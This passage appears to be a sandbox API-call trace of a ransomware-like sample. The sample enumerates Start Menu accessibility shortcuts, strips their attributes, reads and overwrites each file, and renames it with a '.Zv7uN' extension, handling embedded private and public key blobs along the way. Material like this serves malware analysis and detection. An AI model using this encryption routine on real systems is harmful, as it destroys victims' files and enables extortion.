ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1ab4d101, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Ease of Access.lnk", cAlternateFileName="EASEOF~1.LNK")) returned 1 [0128.819] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0128.819] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0128.819] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1ab4d101, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x54e)) returned 1 [0128.820] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk")) returned 0x20 [0128.820] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk", dwFileAttributes=0x80) returned 1 [0128.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0128.823] GetCurrentThreadId () returned 0xa30 [0128.823] GetCurrentThreadId () returned 0xa30 [0128.823] GetCurrentThreadId () returned 0xa30 [0128.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.824] GetCurrentThreadId () returned 0xa30 [0128.824] GetCurrentThreadId () returned 0xa30 [0128.824] GetCurrentThreadId () returned 0xa30 [0128.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0128.824] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0128.824] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0128.825] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x54e [0128.825] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0128.825] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x54e, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x54e, lpOverlapped=0x0) returned 1 [0128.829] CloseHandle (hObject=0x1dc) returned 1 [0128.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0128.831] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x54e, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f114*=0x54e, lpOverlapped=0x0) returned 1 [0128.834] CloseHandle (hObject=0x1dc) returned 1 [0128.834] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk.zv7un")) returned 1 [0128.836] GetCurrentThreadId () returned 0xa30 [0128.836] GetCurrentThreadId () returned 0xa30 [0128.836] GetCurrentThreadId () returned 0xa30 [0128.836] GetCurrentThreadId () returned 0xa30 [0128.836] GetCurrentThreadId () returned 0xa30 [0128.836] GetCurrentThreadId () returned 0xa30 [0128.836] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1a98407e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ea, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Magnify.lnk", cAlternateFileName="")) returned 1 [0128.836] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0128.836] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0128.836] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1a98407e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ea)) returned 1 [0128.837] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk")) returned 0x20 [0128.837] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk", dwFileAttributes=0x80) returned 1 [0128.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg